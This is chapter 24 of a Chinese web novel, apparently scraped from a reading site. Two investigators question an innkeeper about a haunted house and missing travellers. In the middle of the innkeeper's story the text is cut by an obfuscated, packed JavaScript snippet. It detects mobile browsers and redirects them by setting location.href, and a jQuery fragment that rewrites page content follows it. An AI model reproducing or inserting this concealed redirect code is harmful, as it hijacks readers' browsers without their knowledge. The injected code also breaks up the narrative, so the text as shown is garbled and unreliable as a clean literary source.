默认冷灰
24号文字
方正启体

24. 第24章

作者:白戎本书字数:K更新时间:
    天光熹微,屋明几亮。


    喻蓝很喜欢有阳光的日子。


    即便坐在书案前,什么事情也不做,只是垂眸望着书案上跳跃的光影,沐浴其间,心情也会晴好。


    她右手握着从布包里拿出的瓷瓶,微微躬身探手,从就近的笔架上取下一支毛笔放在自己身前的桌案上,打开瓷瓶,小心地将血滴在上面。


    光影扭动一瞬,随即朦胧起来。


    鸟雀啁啾,朝阳照在院子里,影子伏地;虫蝉鸣响,月光洒进案上,一室寒霜……


    期间,一直有位郎君坐在喻蓝坐着的位置上,身姿挺拔,笔耕不辍。


    日复一日。


    最终来到新的一天。


    喻蓝的身子暖融融的,又将视线落到被阳光眷顾的郎君。


    此时他正慢慢翻开昨日还未看完的书册,进行温习。


    不知不觉,光线被暂时覆盖,随即又照进来。


    这是那位老人进来了。


    她轻声轻脚地靠近,慢慢来到郎君的身后,喻蓝也看清她此时的模样,她盘起来的头发还未彻底灰白。


    她等了片刻,轻声道:“蕴儿,该休息一下了。”


    边劝说他,她边捧上手里端着的一盅汤。


    喻蓝很想摸一摸自己的鼻子,可又碰不了,毕竟眼前的老人与他们遇到的,貌似不一样呢。


    其实仔细想,倒也不全是这样。


    蕴郎君听见后,习惯性放下书回头应她,跟着老人到了一旁的小桌附近。


    喻蓝不能跟着他们走,只能竖起耳朵仔细听他们的交谈。


    老人道:“前几日买菜时碰到了吴工的家眷,同我说他们那暂时还缺几个人手,想喊你去搭把手,你的主意呢?”


    很快,蕴郎君回:“可以啊,儿过会就去问问他们。”


    她道:“也不是非得这么急。”


    郎君笑着:“您告诉儿的时候已经过了几日,这时候不算早了。”


    她只得道:“那你注意安全。”


    喻蓝连忙望去,只见郎君朝门口走来,大跨步转身,只留给她一道背影。


    她想,他应该是去找一个叫吴工的人了。


    还来不及想别的,她的眼前慢慢清明起来,久久望着门口。


    蕴郎君竟一去不返。


    她当即起身,抬步往门口走。要过门时她身形一顿,又朝内屋屏风瞄了一眼,思来想去,还是转身进去摇摇床上的闻人新:“你再不起来,奶奶要打人了。”


    喻蓝这句话夸张了说,闻人新本就出于半睡半醒的状态,他听见这句话,满不在意地抱着被子,打算兜头盖住自己,再睡个回笼觉。


    喊他时,她伏在床前。说完这句,喻蓝双手撑着床,慢慢直起身,扭过头。


    后者忽然道:“等等,我也去。”


    她双手插兜,就这般背着他,漫不经心道:“那你快点,我可没什么耐心。”


    两个人碰到老人时,喻蓝想起方才一去不返的男子,忽然问:“奶奶,我们还不知道该怎么称呼你呢?”


    老人正端着冒着热气的碗走来,也没怎么在意这件事,道:“你喊我陈奶奶就行。”


    她这么说,喻蓝当即嘴甜跟着喊了一句。


    他们没起很晚,晓晓正巧也醒过来了。她迷迷糊糊揉着眼,边打哈欠边跟他们点头打招呼。


    老人招呼他们道:“你们收拾好了就来吃饭。”


    饭后,喻蓝跟陈奶奶提起要出门的打算,后者面色不显,只是道:“尽快回来。不要去一些奇怪的地方,更不要跟奇怪的人搭话,尤其是你。”


    她的视线一直停在伸了个懒腰、正抻直腰板的闻人新身上,很显然,最后一句话是对他说的。


    闻人新没料到话头递到他身上,眼前三个人齐刷刷地看向自己,或多或少的打量,好像他此行一去万分凶险。虽然他并不觉得自己能遇到危险,但他还是点头应答:“谢谢奶奶。”


    陈奶奶的反应有些大,兴许是因为蕴郎君,不过她特意提起不要去奇怪的地方,难道是镇子里曾经有过这样的事情,喻蓝长了个心眼。


    随处打量,陶盈镇有些寂寥,摆摊的人也少。


    前面有家客栈,青天白日的,门半阖上,也不知是要迎客还是逐客。


    喻蓝推开挡路的半扇门,闻人新背树乘凉,先一步进去,径直来到前台。


    坐台的小二不是没听见门口吱呀一声,看到人影他象征性起身迎客,捧着个笑脸问:“这位客人好,是打尖啊还是想住店?”


    看到迎面而来的闻人新时,他迎客的招呼声骤然落下。闻人新正好捕捉到小二态度的转变,他微眯起眸子,一脸笑意:“我看你们这白天也来不了几个客人,怎么,不欢迎我。”


    尾随其后的喻蓝先到处观望这座客栈的布置,一听闻人新的尾句,她骤然将视线挪回来,想听听小二的解释。


    虽然他心里的确不希望男客来,可听客人这么质疑他,他还是不乐意的,毕竟职业操守在这。心底快速捋清思路后,小二表面一脸不赞同:“嗐。这位客人,你怎么能这么说呢?”


    闻人新嗤笑道,显然不相信他这套说辞;喻蓝也看出这家大客栈冷冷清清十分不对劲,支着身子,一双漆黑的眸子如冰冷的刀锋,直逼眼前。


    这双死寂的眼眸看过来时凉飕飕的,看得小二心里直犯嘀咕,挥舞几下手,打岔她的眼神逼供:“是是是,客人您神通,行了吧。”


    喻蓝虽然得到小二的承认,却并没有放过他。她颔首道:“说说吧。”


    小二探头望着楼上,确认后才走出前台。给两人安排好座位,为他们斟水后,他也坐下,这才交代:“这事我也是第一次听说。那时候陶盈镇比较出名,也比较热闹,所以我前些年来这里打杂工,顺势就在这客栈里待着了。”


    “当时陶盈镇一直因为陶器出名,闻名而来的旅客很多,客栈也开得热火朝天。那段时间正巧出了件诡异的事情。”


    “据说,陶盈镇西边有座鬼宅!”


    小二讲得绘声绘色,奈何对面两人完全没有半点多余的反应,一脸的稀疏平常,直勾勾地盯着他想要他继续讲下去。


    看到这里,他悻悻收回观察的视线,继续道:“有些夜半路过那座荒宅的醉汉说,那座宅子经常会传来细细碎碎的哭声。他们起初没在意,还趁机趴墙角仔细听动静。谁知他们竟然真的听到了议论声,甚至还有一些怒骂声!这可把他们吓得屁滚尿流,慌忙逃窜。有人醒了还记得这事,就把这事传出来了。”


    “据说,这宅子之前因为主人的疏忽,一下子烧死他们一家八口人。很多人嫌晦气,低价也不肯买,再加上地理位置不是很好,时间久了,就荒下来了。”


    讲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202394|197247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到这,他给自己倒了杯水,一饮而尽:“这消息传到客栈里来的时候,很多人都不信,都想去那鬼宅里看看是不是真的闹鬼。也有可能只是半夜有人偷偷去那宅子里花前月下,偷偷约会呢,那些人听到的怒骂声是小情侣之间的嗔骂也说不准。反正这事众说纷纭。”


    “当时我初来乍到,还没在这立稳脚跟,再加上当初的自己年轻气盛,为了多挣点钱,就让老板给我排了夜班。谁知正好看到有一伙人大半夜的不睡觉,光明正大地下来,还跟我撞了个正着。”


    不出意外,应该就是在这里出了意外,喻蓝挑眉,问:“然后呢?”


    “他们都失踪了。”


    她对这个答案并不意外,只是追问小二:“你怎么知道他们一定是去了鬼宅?”


    小二耸肩,自然地答:“他们光明正大的,边下楼边在那讨论鬼宅的事情,我想不知道都难。”


    她捧着茶杯,问:“官府没查吗?”


    他摇摇头,道:“这么多人失踪,官老爷肯定查了,连我们客栈的人都搜问了遍。只是不知道为什么,这件事不了了之,官老爷还发了告示说不许议论民众私下议论那座宅子。”


    喻蓝陷入沉思,而闻人新蹙眉,问:“他们没回来?”


    小二耸肩,回答:“没呢,那晚上之后我再也没见过他们了。他们什么都没拿,带过来的东西一直放在这,时间长了,老板还想让我都丢了。我看过一眼,都是宝贝,就留下了。”


    闻人新仰着腰,双手撑在脑袋后,懒洋洋道:“这就是你们客栈人这么少的原因?我看别是你们家本身就有问题吧。”


    小二脸刷得白了,他想指闻人新又不敢,哆嗦道:“这位客官,你听故事可以,不要往我们身上泼脏水!”


    他只得继续往下说:“要只是这个,我们这客栈还不至于荒成这样。那些人失踪之前,客栈里就有几个当地的伙计兄弟挖土去了,还拜托我帮忙顶几天工。我对挖土没兴趣,再加上那段时间客人多,多赚几份钱的谁不感兴趣?”


    “我当时一直不懂这些,那几天忙得跟陀螺一样,还一直在想那几个人怎么还不回来。直到后来他们家里人来闹,我才知道那几个人也不见了。”


    喻蓝淡淡道:“跟那几个探险的一样?”


    小二一脸欣喜,身子不由靠前几分:“客官您怎么知道!”


    她把玩手里茶杯,不咸不淡道:“你要是再不说点实话,我现在就可以让你跟他们作伴。”


    这……


    小二半信半疑,无奈道:“客官,我都已经交代清楚了……”


    喻蓝没再废话,而是抽出一把匕首,连刀带鞘地丢在桌案上,摆给他看。


    这下,他只能说出实话:“那段时间确实出了这么几件事。当时官府找上门的时候,还有人问过我们这客栈是不是出什么事了,老板让我们都捂死了,谁说谁倒霉。只是当时又发生了一件事,导致来我们客栈的人少了起来,也不是,几乎所有的客栈都这样……那些人失踪以后又有一大批人失踪,甚至是在客栈里面凭空消失,而且还都是男客。”


    说到这里,小二抬眼,意有所指地看了闻人新一眼,似乎是在解释之前的行为。


    原来陈奶奶说的话是指这件事,两个人如此想。


    喻蓝指尖有规律地点了点桌面,忽然问:“鬼宅现在还有传出动静吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)